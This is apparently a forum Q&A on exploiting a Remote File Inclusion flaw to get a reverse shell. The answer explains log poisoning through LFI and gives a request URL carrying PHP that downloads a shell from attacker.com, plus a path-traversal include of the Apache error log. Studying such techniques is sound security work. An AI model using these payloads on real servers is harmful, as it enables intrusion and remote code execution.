Pentesting Web Server for Remote File Inclusion

Question

For educational purposes, I am in the process of pentesting a web server of mine(running on Windows) where there is a Remote File Inclusion vulnerability. I can already get simple things like command output for ipconfig and so on, displayed on the page. But now I am wondering if I can get a shell uploading some php code to that server and getting it to execute and connect to a Kali box where I can have a netcat listener open? Any ideas?

Cheers!

Answer 1

Generally there are two ways you can upload a shell to a server.

Use RFI to execute PHP script that places shell

You place a text file on another webserver that contains php code to place a shell on the server then you include this file. You can place the shell on the server in various ways.

• Use FTP/HTTP/... module of php to download the shell from a server
• Place the BASE64 encoded shell in a variable and write the decoded content to a file

I suggest you to use the second option because it does not rely on modules that might aren't installed or disabled on that specific server.

Use the RFI as an LFI and execute PHP code directly

In most cases RFI vulnerablities can be used to include local files too. So you can use it as an LFI which can be helpful. In the first step you use a script to perform an HTTP request to that server. You use cURL,... because you don't want the specuial chars to be converted into htmlentities... Your request could look like this:

http://victim.com/i_dont_exist.php?code=<?php file_put_contents("shell.php", file_get_contents("http://attacker.com/shell.txt")) ?>

You want this to cause a 404 error because this should be writen to the error log. This is located in /var/log/apache/error.log when the victim uses apache and a default configuration. Then you call the RFI as an LFI to include the logfile and to execute the PHP code. For example:

http://victim.com/index.php?file=../../../../var/apache/error.log

Then the PHP code will be executed and the shell will be placed.

// A problem you will face when you start a netcat session using a php script is the script timeout. PHP scripts executed through a webserver have a timeout to prevent processes that run forever. I think the default value for this is 60 seconds which means after 60 seconds your backconnect will be closed. This is why many hackers dont want to run their malware as a thread of the apache daemon.